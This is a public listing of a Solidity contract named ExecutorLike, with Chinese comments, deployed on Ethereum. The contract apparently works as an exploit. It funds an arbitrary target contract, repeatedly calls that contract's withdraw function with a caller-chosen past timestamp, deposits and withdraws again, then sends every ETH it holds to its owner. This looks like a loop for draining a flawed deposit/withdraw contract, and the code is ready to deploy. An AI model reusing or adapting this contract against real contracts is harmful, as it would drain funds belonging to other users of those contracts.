Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
contract ExecutorLike {
// ---------- constants ----------
uint256 constant A = 11;
uint256 constant B = 30;
uint256 constant C = 75;
// ---------- custom errors ----------
error NotOwner();
error EmptyCount();
error CallFailed();
// ---------- state ----------
address payable public owner;
constructor() {
owner = payable(msg.sender);
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
// 允许接收 ETH(关键!否则 target 往回转账会导致整个调用 revert)
receive() external payable {}
// 把 address 压成 uint256(与目标合约 withdraw 的第一个 uint 参数对齐)
function _addrU(address a) internal pure returns (uint256) {
return uint256(uint160(a));
}
// ========== tx1:单次 deposit ==========
// 本次交易的 msg.value 直接转给 target.deposit(A,B,C)
function execTx1(address target, bytes4 depositSelector)
external
payable
onlyOwner
{
(bool ok, ) = target.call{value: msg.value}(
abi.encodeWithSelector(depositSelector, A, B, C)
);
if (!ok) revert CallFailed();
}
// ========== 提取全部 ETH ==========
function sweepETH() external onlyOwner {
(bool ok, ) = owner.call{value: address(this).balance}("");
if (!ok) revert CallFailed();
}
// ========== tx2:循环 withdraw -> deposit -> 最后一次 withdraw ==========
// withdraw 的 user = address(this)
// 第二次 deposit 的金额 = 本次 msg.value
function multicallAndFinalize(
address target,
uint256 count,
bytes4 withdrawSelector,
bytes4 depositSelector,
uint256 firstTxTime
)
external
payable
onlyOwner
{
if (count == 0) revert EmptyCount();
uint256 userU = _addrU(address(this));
// step1: 循环 withdraw(相同参数)
bytes memory cdW = abi.encodeWithSelector(
withdrawSelector,
userU, A, B, C,
firstTxTime, firstTxTime
);
for (uint256 i = 0; i < count; ) {
(bool ok, ) = target.call(cdW);
if (!ok) revert CallFailed();
unchecked { ++i; }
}
// step2: 再次 deposit(金额 = msg.value)
if (msg.value > 0) {
(bool ok2, ) = target.call{value: msg.value}(
abi.encodeWithSelector(depositSelector, A, B, C)
);
if (!ok2) revert CallFailed();
}
// step3: 最后一次 withdraw(时间戳 = 当前块时间)
uint256 t = block.timestamp;
bytes memory cdW2 = abi.encodeWithSelector(
withdrawSelector,
userU, A, B, C,
t, t
);
(bool ok3, ) = target.call(cdW2);
if (!ok3) revert CallFailed();
// 可选扫尾
uint256 bal = address(this).balance;
if (bal != 0) {
(bool ok4, ) = owner.call{value: bal}("");
if (!ok4) revert CallFailed();
}
}
}
Submitted on: 2025-10-09 15:56:13
Comments
Log in to comment.
No comments yet.